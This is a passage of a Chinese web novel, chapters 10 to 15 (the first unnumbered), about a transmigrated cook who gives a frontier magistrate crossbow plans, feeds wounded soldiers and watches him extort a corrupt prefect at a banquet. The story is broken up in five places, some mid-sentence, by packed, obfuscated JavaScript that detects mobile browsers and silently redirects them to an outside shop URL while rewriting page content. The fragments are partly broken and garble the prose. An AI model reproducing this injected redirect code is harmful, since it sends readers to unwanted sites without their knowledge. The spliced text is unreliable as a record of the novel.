“此连弩大有用处，不知小娘子可愿将制作图纸交于府衙？”刘善渊沉吟，“本官拟在近期重修城墙，为民兵团体配备连弩。” “一则百姓的安全能得到更好保障，二来会给予相应报酬。若是小娘子想当府衙理事卿，也并无不可。” 重大发明按律例要上报朝廷。 对于这件事，刘善渊没提，栾霜柏没问，桂枝儿当然不会自讨没趣。 “能为府城出一份力，荣幸之至。”桂枝儿立即表示同意。 名与利，桂枝儿毫不关心。 只要不暴露自己的秘密，被当成怪物抓起来研究，她没什么意见。 答应得太过爽快，倒让刘善渊的表情又有一丝错愕。 桂枝儿心中叹气：真的不喜欢和这些老狐狸打交道。 承诺明日会将图纸送到府衙之后，桂枝儿礼貌送客。 月明星稀，干枯的树枝在墙壁上画出鬼影。 热闹褪去后，又是无尽的寂寥。 一夜无话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712085|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 桂枝儿连夜打包好行礼，依然是扔进了随身空间。 睡到日上三竿，这才拜访府衙。 没想到扑了个空。 “谁来了哦？要找知府大人去军营……” 披着裘皮外套的看门老翁，不耐烦地嘟囔着。 镇北府衙四个大字端端正正。 却又仿佛换了个地点。 门口的堂前鼓已经被固定好，擦得锃亮，修理后的门板显得严紧，结实。 “要么说，能成大事者都是精力旺盛的人。”桂枝儿暗自佩服。 现在去军营，大约是探望伤兵，拉近感情的。恩威并施，只怕这新知府不简单。 军营的帐篷里，弥漫着草药和血腥气。 伤兵们或躺或坐，为数不多的大夫指挥着学徒，为他们清洗伤口、换药、喂食，忙碌不堪。 通报过后，桂枝儿被允许入内。她一介女子，由于众所周知的原因，本就和边防军关系密切。 大梁军队遵循行伍制，边防北境第三军，也即中心府城的城防兵，四屯一军共约800人。 蔡淼作为掌兵将，虽是偏将，品级只比空降的栾少将军低一级。 “桂小娘子，你怎么来了？” 小兵丁勇或许是在城门外站岗久了，眼神很尖，第一个捕捉到桂枝儿的身影。 “小娘子好！”断断续续的招呼声响起，均是平时集资买过桂枝儿店内餐食的士兵。 稻草装在粗布套子里，铺在他们身下暄腾腾的，带着清香，使人感到妥帖。 不过还是冷。 好在有铜炉子。 炭是烧不起的，里面仅装些柴火，再铲上几铲没有十分烧透的芦苇。 将木柴引着了，冒一阵烟，可以暖和很久。 “呃……我来慰问一下大家？” 桂枝儿突然感觉自己空着手来有些不妥。 “小娘子，我、我想喝热卤汤。”小兵丁勇哽噎不已。 被熏黑的面庞流下了一行清泪，格外显眼。 桂枝不知所措。 饮食辛辣不利于伤口恢复，看这手臂被夹板夹住的样子，应当是骨折了，得吃高蛋白啊。 不是，好端端的，怎么就哭了呢？ 11. 小兵丁勇 小兵丁勇，本是农家子弟。 成人那天拜过祠堂的祖宗，吃一碗阿娘下的长寿面，就根据律令应召入伍。 听说是保家卫国，新兵蛋子们个个都兴奋不已。 丁勇有了一套崭新的戎服，一双不算新但是还不错的军靴。 他对自己的新形象非常自豪。 “啥时候分配啊，俺就想回十二堡，让杏花姑娘看见。”训练结束后，丁勇筋疲力尽，但心底仍有着美好畅享。 小沿村的杏花姑娘，与他打小儿青梅竹马。 新兵营里的伙食也不错，用小麦烙出的面饼子和菜粥，那叫一个香。 “别人都想去中心府城，偏你想去十二堡，真是个蠢货。”带训的老兵大口嚼着饼子。 “什长，这分配到哪里，可有什么讲究？”有好奇的新兵凑过来打听。 老兵斜了他们一眼，直到有机灵的人过来捏肩揉背，才缓缓开讲。 “边防北境共有三军，一线的凌河县驻军就不用说了，天天直面乞颜乌什部落的游牧劫匪，那是生死有命，富贵在天！” 新兵们屏住呼吸，即使觉得上战场离他们很遥远，但还是不可避免有些害怕。 老兵眼神沧桑，每逢阴雨天，受过伤的部位还是隐隐作痛。 “至于第二军就是各属地屯兵了，龙沙镇、十二堡、榆塞关，安全是安全了，可没钱发饷银啊。”他一拍巴掌，“分去那儿，你还得靠种地养活自己。” “啊？”众新兵惊诧，征召时可是宣称月月有例钱的。 丁勇也失落不已，他还打算攒点银子，回家就央求爹娘去杏花家提亲呢。 “这第三军——中心城防兵，有道是府衙脚下好乘凉。”老兵自豪地笑笑，“钱照给，守城又能依仗梅山天险！” 他见众人脸上燃起期待，依稀看到了多年以前满心欢喜和快乐的自己。 “行啦，歇够了就动起来！今天要学的是旗令，不同颜色的三角旗有不同含义……” 如此过了三个月，懵懵懂懂的丁勇凭着抽签的好运，被分到了中心府城。 “呵，倒让你小子捡漏了。”老兵照着他的后脑勺就是一巴掌，“以后跟我队伍，桂记的热卤汤管够。” 丁勇只知道嘿嘿傻乐。 从夏到冬，一眨眼的时间。 直到前夜作战，血像开了闸门一样喷涌而出，又似火焰般燃烧，照亮了黑夜。 “滚，滚！”老兵的咽喉已经被敌人的弯刀割裂，呼哧呼哧喘着气，话不成声。 他费力摆着口型，不是骂丁勇，而是让他翻滚避开马蹄。 “什长！”丁勇趴在泥土里，硬木制的矛柄早就被击落在地。 他顾不上手臂传来的尖锐刺痛，抓起地上的铁蒺藜狠狠往马腿上扎，即使鲜血直流也不肯放弃。 后面的记忆已经模糊了。 他只知桂小娘子和一位少年英雄从天而降，逆转了战局，他也捡回一条命。 可一直照顾他的老兵什长…… “喏，没加辣的热卤汤，不能多喝。”桂枝儿打断了他的思绪，“你还是该吃些清淡有营养的。” 她为了避人耳目，回到卤味店从随身空间里取出一碗汤，简单加工再紧赶慢赶回来。 桂枝儿额头已有细密的汗珠。 她累得坐在草席上歇息，不出意外，这将是她留在中心府城的最后一天了。 就当满足小孩子的愿望。 丁勇看着眼前的热汤，还是熟悉的肉桂、八角、茴香，只是缺少了辣油显出些许寡淡。 里面还有一小块炖得软烂的排骨。 吃啥补啥，是最朴素的原理。 丁勇吸一口鼻涕，揉了揉哭红的双眼，不太自在地端起汤碗。 抿一口，有点咸，眼泪啪嗒啪嗒地往碗里掉。 “长身体呢多吃肉！”老兵挟了一筷子鸭翅尖，扔到丁勇碗里。 “什长你也太偏心了。”其余人起哄道。 一切如梦一场。 经历过战争的残酷与恐怖，至今回想起来，丁勇也搞不懂为何自己当时能如此兴高采烈。 但一碗热卤汤下肚，他所有的愧疚、不安、恐惧，都好似得到了抚慰。 “我一定要杀光达奴人，给什长报仇！”丁勇低声吼道。 桂枝儿并未在意，她已经起身准备去指挥营。 找到刘知府，交出连□□，再索要一份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712086|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出城路引，就大功告成。 “嘀，系统提示：任务进度98.2%。” 是久违的电子音，桂枝儿仿佛被定身一般，不可置信地僵在原地。 动了？任务进度动了！ 桂枝儿缓缓回头，看向丁勇手中的空碗。 这卤汤是先前剩的，炖煮滚沸后，排骨的油脂融在汁中。 虽然闻着香，但多少有些腻。 四个字总结就是平平无奇，为何能推动任务进度？ 桂枝儿想不明白。 “小娘子，知府大人让我带您过去。”管家满脸堆笑，点头哈腰地走了进来。 “啊！好，劳您带路。”桂枝儿收回视线，强忍住内心的激动。 计划有变。 指挥营内，桌面当中摆放着绘制粗糙的北境舆图。 一侧是散乱的文书、笔墨等物品，墙上悬着兵器和战旗，庄重肃穆。 刘善渊外披一件紫黑色狐裘，状如斗篷，流露出高贵沉稳的气质。 他手中捧着一个白铜手炉，炉盖是镂空的岁寒三友图案。 手炉极小，中置研成细末后筑成饼状的煤炭，燃着能用一天。 刘善渊正拧眉凝视舆图。 “姑娘好。”栾霜柏拱手行礼。 即使知道桂枝儿已经许配，他一时还是忘了改口。 少年将军不似刘善渊那般注重仪表，束口的便衣干净利落，即刻便能提马上阵。 “见过两位大人，这是你们要的制作图。”桂枝儿展开卷起来的牛皮，“原是小女为了进山打猎方便，钻研制作的。” 图上清晰可见，弩的结构分为三部分：臂、弓、机。 其中的关键零件是望山，甚至标有刻度，能按目标距离调整连弩发射的角度。 扳动悬刀，牙下缩、弦脱钩，箭便急速弹射而出。 “让我看看。”栾霜柏急切地俯身，视线紧紧地盯着图纸，脑海里逐渐有了立体画面。 刘善渊虽未言语，但呼吸也快了几个节拍。 瞅见两人的黏糊劲儿，桂枝儿只觉没出息。 这还只是普通连弩，若是拿出多人绞轴的三弓床弩，估计会惊掉他们的下巴。 12. 今日腊八 “依小女拙见，这连弩虽好，却也仅对轻骑兵有效。”桂枝儿坦言。 营内众人的目光都被吸引过来。 “小娘子所言极是，达奴人最引以为傲的重骑兵，确实更令人头痛。”蔡淼老脸通红。 他在对战中只受了些皮外伤，却自觉颜面尽失。 大丈夫当坦坦荡荡，城防力量不足，是他的失职。 新官上任三把火，无论知府大人如何处罚他都没问题，只要能齐心协力把当下的难关度过去。 “小娘子有何建议，不妨说来听听。”刘善渊听出了话外之音。 他用修长的手指敲点着舆图，不疾不徐，神色却十分认真。 桂枝儿本不欲多管闲事。 可好巧不巧，许久没有动静的任务进度，就在这个节骨眼上动了。 没研究透彻之前，她不能一走了之。 “我观军中近攻以长枪为主。”桂枝儿娓娓道来，“但对付骑兵，陌刀、长柄斧大有可为。” 在桂枝儿家乡的历史上，著名的郾城之战，岳家军正是用此策略血战铁浮屠。 栾霜柏灵光一闪：“用刀斧，难道是斩马腿？” 少年深吸一口，从鼻腔到肺腑，转了个圈再出来，思绪瞬间通畅。 一名穿着厚重盔甲的骑兵，马没腿了，还怎么前行？ 此时，重装的优势就变成了弱点，因为铠甲厚重，跑都跑不掉。 不愧是金科武状元，对于兵法作战还是有几分灵性的。 桂枝儿喜欢和聪明人打交道。 栾霜柏眼眸亮晶晶地盯着桂枝儿，好像见到金矿一般。 他激动地问道：“姑娘可愿来我军中当个参谋？” 刘善渊挑眉撇了他一眼，不置可否。 “才疏学浅，恐难胜任。”桂枝儿连连摆手。 这一个两个的，不是要把她骗进府衙监视，就是要拉到军营受罪。 想都别想。 第二日是个难得的朗日晴天，随着阳光渐弱，城门口的劳工们也逐渐疲惫。 结实的绳索拉起木段，本就粗糙的手指亦被勒出红印。 劳工们卖苦力气，换取知府大人许诺的报酬。 三日可得铜钱一贯！ 冬日农闲，就算为了备年货，也要想方设法找活干。 挣点闲钱可不容易，年轻力壮的上山套个免子、逮个野鸡，有些手艺的翁公便走街串巷，或做个糖葫芦，或卖烧饼。 修筑城墙能换钱，大家还是头一回听说。 “二柱，你说真能给咱一口气发一贯钱吗？” “新知府都发话了，那还有假？”二柱抹了一把额头的汗珠。 “嘿，那之前马知府还骗咱说，只要给他修好宅子，一定有好处嘞。” 三进三出的院落，宅门正对的影壁就费了好一番功夫，最后提报酬却不了了之。 “修宅子是为知府本人，修城墙可是为大家。”二柱筛选着摊铺于青石板上的合格黄土，“再说了，前天晚上不是搞了个民兵自卫队，大家也都在。这个新知府啊，我看靠得住。” 众人被说服了，纷纷点头。 黄土在经过一整个白天烈日的烘烤下，再辅以火焰，逐渐被烤干。 这是打算再筑一个用以远眺的箭楼。 “诸位大哥大姐，赏光来吃一碗腊八粥。” 小孩小孩你别馋，过了腊八就是年。按北境习俗，腊八粥要分食，方可祈福迎祥。 桂枝儿推着小车，笑语盈盈地来到城墙脚下。 她穿着红色绣花袄子，衬得皮肤雪白。台面上是一大桶粥和碗勺，显得干净利落。 腊八粥者，用白米、小米、黄米、栗子、去皮枣泥等，合水煮熟。 桂枝儿别出心裁地加上仙灵草，再撒些染红桃仁、杏仁，搅和上白糖、红糖，最后用葡萄干点染。 “多谢小娘子，这粥瞅着就好喝！”众人在监兵的许可下收工，排着队来领粥。 粥熬得浓稠，用勺子一舀，温热的粥流淌不断。 一口腊八粥，舌齿生香，绵密的口感让人赞不绝口。 过腊八，意味着拉开了过年的序幕。 虽然乞颜乌什部落的威胁不减，但一年到头，家家户户都盼望着舞龙灯、踩高跷、迎财神的热闹。 “小娘子，你说那些狗娘养的土匪们，还会再过来闹事不？”二柱洗干净手，端端正正地接过桂枝儿递过来的粥碗。 “我曾听一位伟人说过，不要被敌人的气势汹汹所吓倒，不要为尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712087|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能忍耐的困难所沮丧。” 桂枝儿热情澎湃地鼓舞大家。 “不要被一时的挫折所灰心，道路是曲折的，前途是光明的，黑暗即将过去，曙光就在眼前！” 众人听得半懂半不懂，有上过私塾的解释道：“桂小娘子说了，我们能赢！” “干！”大家顿时士气大振。 城内有人群鱼贯而出。 “道路是曲折的，前途是光明的。” 坐在轿子里刘善渊恰好赶来城门送行，默念这一句话，若有所思。 “姑娘，你也能送我一句话吗？” “咴儿咴儿。”白驹依恋地蹭了两下桂枝儿，以作告别。 栾霜柏坐在马上，既在府衙述职完毕，理当即刻出发去凌河县的经略府上任。 同行的还有几位小兵，捧着半成品的连弩。 桂枝儿挑了挑眉，笑道：“真理只在射程之内。” “我记住了！”栾霜柏手腕一抖，挽了个小枪花，红缨穗在空中飞舞。 落日残霞极其瑰丽，映得半个天空红彤彤的。长枪背在身后，少年骑在马上，背影被拉得很长。 “开弓没有回头箭，我走啦桂姑娘！”栾霜柏摆摆手，头也不回。 道阻且长，行则将至。 桂枝儿嘴角上扬。 虽然有点刻意，但确实挺帅。 若早几个世界碰到这样意气风发的少年郎，还不得被迷得神魂颠倒。 可惜，现在的她只会想—— 把从四品的文官同僚扔在一旁，专和自己告别，这小子只怕是不想进步了。 好在刘善渊并未在意这些，他忧心的是另一个问题。 偌大的北境，库里亏空，无论是粮仓储备还是账面税收，都一塌糊涂。 要叫马儿跑，得叫马儿多吃草。 没钱，可怎么办？ 眼见一桶粥已经见底，他走下马车，态度谦逊地向桂枝儿发问。 好家伙，把我当免费智囊了。 桂枝儿虽然不满，但大家暂且是一根绳上的蚂蚱。 “马知府是不是还没回京啊？”桂枝儿点了一句，“据我所知，他这人有个原则，那就是——” “君子爱财，取之取之取之！” 13. 花魁千金 这场鸿门宴最终摆在邀月楼。 为恭贺马知府迁除，特意备下酒馔以展欢宴。 各色绢花装点楼台扶手，酒香氤氲，笑声弥漫开来，连舞台上的戏曲也缠绵了几分。 “好你个黑心贪官，任你手眼通天，左右逢源，在本督台手里，休想蒙混过关。胆敢不招，左右衙役，给我打！” 他一双桃花眼，春色无边，围观的小娘子攥紧手中香囊，春心萌动。 确是将《铡贪官》演成了才子佳人戏。 刽子磨刀，轻击金黄色圆盘状的锣，咚咚擦擦，鼓点愈发密集。 “若人人如你一般，文官贪财，武将怕死，我大梁岂能荡静中原？” 督台大喝一声，唱腔高亢，嗓子是又脆又亮。 “好！”喝彩声四起，震屋响瓦。 其中最起劲的就是马知府，游牧劫匪已退，他与手下幕僚们从容回到府城别院。 肃清匪患的邀功折子，正快马加鞭向京城进发。 至于后续？ 他既已交接，自然由新任知府接手，是死是活与他何干。 马知府夹了一筷子红曲卤排骨，满足地眯了眯眼。 “不瞒你说，某在镇北府任职不到一载，最放不下的，除了这北境的黎民百姓，就是桂记的卤味和邀月楼的花、花、话本子！” 邀月楼，是风尘所的勾栏瓦舍。 大梁禁宿妓，花娘和小倌们聚集在此，编排些擦着红线的剧本谋生。 戏幕起，戏幕落。 督台去除戏中扮相，前来答谢宾客。只见她及腰的乌发斜插金钗，纤腰袅娜，樱桃秀口。 略一弯腰时罗裙摆开，如初春嫩柳楚楚动人。 竟是名女娇娘！ 花魁艺名柳千金，伶仃戏子却取了个闺阁小姐的称呼，少不得叫人耻笑。 可自从她学出了师，引得多少纨绔膏粱一掷千金，名声便愈发响亮了。 “奴家见过大人，寒舍今晚蓬荜生辉，还盼您今后多多捧场。” 柳千金嗓音酥软，每个字都像是经过巧匠打磨的玉石，温柔圆润。 艳而不媚，许是看出新任知府并不是个贪恋美色之人，分寸把握得恰到好处。 “咱们花魁这是——但见新人笑，那闻旧人哭？”马知府用帕子摸了摸厚嘴唇上的油光，凑近身来。 “大人，您又说笑。”柳千金团扇半遮脸，娇嗔道，“邀月楼要是有朝一日开到京城，您可得赏光。” 刘善渊端坐一旁，面容在灯火中愈发模糊，唯有眸光宁静温润。他看着两人推拉调笑，既不附和，也不排斥。 “啧啧，这些文官啊，心都脏。” 猪胸口的肋骨汁香味浓、油润化渣，再配上一口度数不高的米酒，美哉。 桂枝儿用外送餐食的酬劳，直接豪气地包下了临近厢房。 此等好戏可不是天天都有。 能给乏味的生活增加一丝调剂，她觉得很值。 透过内窗的缝隙，隐约看到柳千金退场。 刘善渊的管家抬着一个木箱子走进房间，喏喏连声，一副谦卑姿态。 桂枝儿竖起了耳朵，在嘈杂的背景音中敏锐地捕捉着几人谈话。 “刘老弟这是何意啊？”马知府醉醺醺地打开箱子，“哦对，我知道了！” 他乐呵呵地抓起箱子里的账本，镇北府账面虽穷了些，但经得起核查，有来必有去，来去必相等。 “做官苦，做北境的官更苦。”马知府推心置腹道，“春汛、战乱、极寒，单是提防灾荒之年千里饿殍，就是一项大考验。” “自然知晓大人的难处。”刘善渊拱手作揖，“只是新官要理旧帐，也是个传统。” 他单挑出历年春秋征收租调税的账目，不经意间翻阅，纸片哗啦哗啦。 手指倏尔停顿，在田契登记页面，刘善渊凝眉沉吟。 马知府已醉得眼神迷离涣散，嘴巴微张，大着舌头，不断发出断续、含糊的声音。 按大梁租调制的征税法，受田农户每年需纳良米两石，调棉或帛两匹，成年丁男还要负担一定的徭役与兵役。 当然了，若是有大把的雪花银，很多事情都是好商量的。 “大人，按道理下官需在这总账簿上盖印，可是您看——这理事卿们欺下瞒上，贪污税款！”刘善渊愤然摔下账本，“理当严惩不贷，万不能让您带着污点回京。” 精彩精彩！ 桂枝儿在隔壁听得津津有味。 田契与实际面积相左，早就是地方官心照不宣的手段了。豪绅的税，如数奉还，百姓的税，三七分账。 再通过手下幕僚做账，划拨到自己的金库里，神不知鬼不觉。 马知府醉得厉害，身姿摇摇晃晃：“刘老弟，这邀月楼的酒真好，有滋味。” “你今日请我喝酒，来日进京，自然也是老丞相的客人。”他拍了怕刘善渊的肩膀。 刘善渊并未起身，淡淡地撇了一眼管家：“马大人醉了，帮他醒醒酒。” 一瓢冷水兜头浇下，水珠狠狠砸向马知府的头顶，凉彻心扉。 时间仿佛静止，唯有水流顺着脸颊流淌到圆润的下巴上，再滴落地面，发出清脆的声响。 “你放肆！” 马知府气急，脸色变得铁青，眉头紧锁，双眼跳动着愤怒的火苗。 “恕下官冒犯。”刘善渊语气平静，不为所动，“您的离任交接容不得马虎，只要核查确实没问题，下官即刻盖印。” “留给大人进京述职的时间似乎不多了，万一朝廷追究下来… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712088|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 马知府气极反笑，挥舞手臂拍打桌面：“你我二人，究竟谁更怕朝廷追究？” 旋即，他又意识到自己的多言，指甲陷入肉中，反而冷静下来。 桂枝儿抿了一口米酒。 在层次分明的甜酸味中，高速运转起大脑。 既怕朝廷，又有自己的人手，这“刘老爷”究竟是楚淮船帮还是湘西马匪？ 但江湖人士不大可能有条不紊地接手一个拥有上万人口的府城，一针见血地指出账目造假。 桂枝儿用手托住下巴，整理思路。 最终还是刘善渊打破了寂静。 “大人，您在此地为官一载，也是有感情的。”他开诚布公，“临行前若是愿意资助修缮城防、打造兵器，北境人民会铭记您的恩情。” 他放缓语调，嘴角挂着淡淡的微笑，营造出舒适放松的氛围。 “打什么？打、打兵器！”马知府表情皲裂，仿佛天塌了一般。 不装了是吧，不演了是吧，连武器都惦记上了，私兵还会远吗？ “我这一生，谨遵大梁律法，绝不敢逾矩！”马知府磕磕绊绊地商量着，“资助可以，但是留名就不必了！” “也好，君子淡泊名利，下官佩服。” “咳咳。”桂枝儿差点呛到，努力把咳嗽声憋回肺腑。 喉咙刺挠得很，眼见马知府被迫妥协，方知真正的敛财高手远在天边，近在眼前。 一场黑吃黑的戏落下帷幕。 送走马知府，管家身体微微前倾，恭敬地向刘善渊汇报：“老爷，我们查到马碌曾在天宥十三年，以送节礼为名，进过京城。” “呵。”刘善渊嗤笑一声，“奏折拦截到了吗？” “回禀老爷，只是对肃清匪患邀功请赏，没说不该说的话。” 刘善渊点点头：“盯紧点，这人是个墙头草，又怂又贪，蛇鼠两端。” 言毕，他踱步至铜镜前，素净修长的手指在铜质鱼洗中沾了沾水。 盆内水波荡漾，他从耳边鬓发掩盖处，揭起一层薄如蝉翼的皮肤。 随手一抹，果真是人皮面具。 里面竟是格外白皙细腻一张脸，许是因为久不见阳光，犹如汝窑白瓷，温润似雪。 管家低头，趋礼回避离开了厢房。 桂枝儿透过缝隙看得不够明晰，忍不住轻声踮起脚尖，凑近些许。 但见男子散开束发，衣袂随着步伐飘动，举止优雅从容恍如流云出岫。 透露出的高贵气质和俊朗模样，定非一个年过四旬的官员。 “小娘子，夜色已深，还不准备歇息吗？” “啪嗒。” 桂枝儿手指关节捏出响声。 大意了，忘了新任知府也是个习武之人。 14. 心灵鸡汤 桂枝儿踌躇一瞬，既然被发现了，也不必再藏头露尾，便随意找了个借口。 “大人，民女突然想到，有种秘方很适合修筑路面和城墙，特意来献给您。” 桂枝儿的声音清甜甘脆，毫不心虚。 要想富，先修路。 再配合立体防御工事，形成一个中心府城安身立命的基础。 桂枝儿曾在别的世界学习过，用含有五分之一左右黏土的石灰石，经过高温煅烧和细磨，加水制成糊状，在冷却凝结后会无比坚硬。 用混凝土修建的灯塔，即使经受海浪冲刷，也能在风雨里屹立百余年。 有连弩献计在先，刘善渊倒不怀疑此言真假，只是勾唇轻笑：“怎么，小娘子的夫君，难不成还是个修路高手吗？” 他眼神戏谑，嘴角上扬。 跟马知府对峙时他只是佯装生气，情绪没有丝毫起伏，现在却突然来了兴致，似乎想看看桂枝儿还有什么好理由。 两人隔着一层内窗，桂枝儿撇撇嘴：“大人，您要是需要，回头我将图纸送到府衙。” 不信就算了，偏偏哪壶不开提哪壶。 刘善渊侧了侧头，从容不迫地问道：“小娘子一不谋官，二不图财，本官心里实在过意不去，不知还有什么是能帮上忙的？” 厢房内，陶制灯盏上的灯芯浸在油中，跳跃出橘黄色的光芒，隐约能看到刘善渊单薄的身影。 北境首领，朝廷从四品官员，对一介平民女子态度如此温和，语调既诚恳又苦恼。 任谁听了都会有些动摇。 桂枝儿在心中默念：不要中了敌人的糖衣炮弹，被人家拉拢过去。 “大人，小女倒还真有一事相求。” “嗯？”刘善渊双眸慵懒地半眯起来，”说来听听。” 不怕人有所求，就怕无欲无求。若想拿捏对方，则必须清楚对方身上的两个特质：恐惧和需求。 一方面不断放大需求及恐惧，一方面适当满足并予以安抚。 这是他自小就接受的教导。 然而桂枝儿只是问了个无关紧要的问题：“大人，您从京城来，可知江南最好的酒楼是哪家？” “当数翠园楼。”刘善渊怔了一下，“小娘子若是想去拜师，我可以当个荐头，免得从学徒做起。” 不过若献上来秘方都如连弩般，实用创新，是断不可能放任她离开的。 这话刘善渊埋在心底没说。 “拜师就不必了。”桂枝儿眼眸顾盼生辉，透漏出一份灵动和狡黠。 根据以往刷任务进度的经验，去当前世界最好的饭店踢馆，成功后必有益处。 “等此间事了，小女去京城，大人愿在翠园楼好酒好菜招待，便知足了。” 桂枝儿笃定，此人志不在北境。 刘善渊没有反驳，只是轻笑，俯身凑近内窗道：“既然如此，待有闲暇时候，我给小娘子画幅画以作谢礼。” 他声音轻柔，像盛夏拂过葡萄架的晚风。 看来既不是楚淮船帮，也不是湘西马匪，而是学过水墨丹青的正经路数。 桂枝儿意志力坚定，不为所动。 做贼不成反被抓，隔壁又是千年的狐狸，桂枝儿不愿再在这里过夜了。 走出厢房，邀月楼的热闹喧嚣已接近尾声。 从拥挤到冷清，夜复一夜。 “小娘子，长夜漫漫，需要点个小倌吗？”酥软勾人的音调飘过来，半是关怀，半是缱绻。 桂枝儿抬头，只见花魁柳千金斜卧在戏台的木栏杆上，小巧金莲和绣花鞋一荡一荡的，百无聊赖。 美人好扮刀马旦，偶尔也如今晚一般客串小生，腰腿基本功自不必说。 她灵活地拧了个身子，跳下栏杆，金钗步摇叮铃作响，工艺繁复的玛瑙珍珠让人晃花了眼。 许是在人前装久了温婉可人，她在桂枝儿面前反而肆无忌惮。 因为她见到过桂枝儿的秘密。 “多谢千金姐姐好意，我就不必了。”桂枝儿长叹一口气，半死不活地复述了一遍刚偷听到的鬼话，“我这一生，谨遵大梁律法，绝不敢逾矩。” “噗。”柳千金笑得花枝乱颤，而后压低声音，“不吸人的精气，你是怎么成妖的？” 呼出的气体和香粉味喷在桂枝儿颈畔，惹得她直痒痒。 桂枝儿无奈后撤半步。 “你带我去京城看看，如何？”柳千金不依不饶。 北境的夜生活远不如杭京繁华，据说大梁最大的花楼里，光勾栏就有十五座。 文看话本，武看相扑，日夜表演不歇。 每日有数千市民在此游乐休闲，新鲜的傀儡戏，流光溢彩的马戏、魔术、杂技，各色各样。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712089|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇北府到杭京，来回少说需要两个月。”桂枝儿掰开揉碎讲道理，“虽说你没那么矫情，能吃得了赶路的苦，但如今世道乱，保不齐还有山匪流寇……” “奴家就知道，你嫌弃我麻烦，是个拖累。”柳千金一副泫然欲泣的模样，好似桂枝儿是那抛弃糟糠的负心汉。 她面色娇嫩，抬手用水袖半着遮脸，一双桃花眼眼尾下垂，楚楚可怜。 做这个行当，无论花娘还是小倌，若不能在年轻貌美时抓住恩客离开勾栏，户籍一辈子都是下九流。 将来不免年老色衰，沦落无靠。 柳千金不愁赎身，她将被打赏的头面和银子，攒成小金库，积蓄颇丰。 可离开花楼后去哪里、做什么，成了问题，总不能没有生存之地最后沿街乞讨。 “蔡统领大小也是一员副将，掌领咱们全城的兵，他能看上你是你的福气，可得把握住！” “我们千金姐姐，难道还想嫁大将军，八抬大轿迎进门？” 冷嘲热讽和关心关切的声音不断。 邀月楼一贯如此，风尘之地也能窥见人性。 既怕姐妹弟兄过得苦，又怕姐妹弟兄入豪府，柳千金拿捏不定主意。 但她之所以能在一众莺莺燕燕里脱颖而出，成为花魁摇钱树，自有过人之处。 百善孝为先。 蔡淼若肯娶她，最要紧的就是过蔡大娘那关。 她多方打探其性格为人，甚至因为知晓蔡大娘最爱光顾桂记卤味店，在老鸨豢养的打手监视下定了一桌堂食。 一碗简单的冰糖酱方五花肉与小青菜，乍看浇汁似乎油腻，可入口就停不下来。 柳千金原为打探消息而来，没想到最后不甚体面地打了个饱嗝。 “店家娘子，我从未吃过这么好的卤味。”柳千金用丝绸手绢点了点朱唇，“今日还有一事相求，我有一个朋友……” 听完柳千金遮遮掩掩的叙事，桂枝儿忙着收拾碗筷，不慎在意地敷衍道：“这等重要的事，最终还是要由你朋友自己来做主。” 她并不想掺杂太多情绪在这个世界。 “人生不是既定的官路，而是旷野。” 一句万能心灵鸡汤。 人生是旷野，旷野的本质是荒野。 万万没想到，柳千金在无意间发现了她的秘密后，非要缠着她一起荒野求生。 15. 脆皮豆腐 柳千金的软磨硬泡起了作用。 桂枝儿最终答应会带她一起进京，而后落荒而逃。 当白光透过幕帘，自然的鸟鸣声叽叽喳喳。晨雾缭绕，小雪飘洒，仿佛置身于洁白的画中。 腊月初十，大寒。 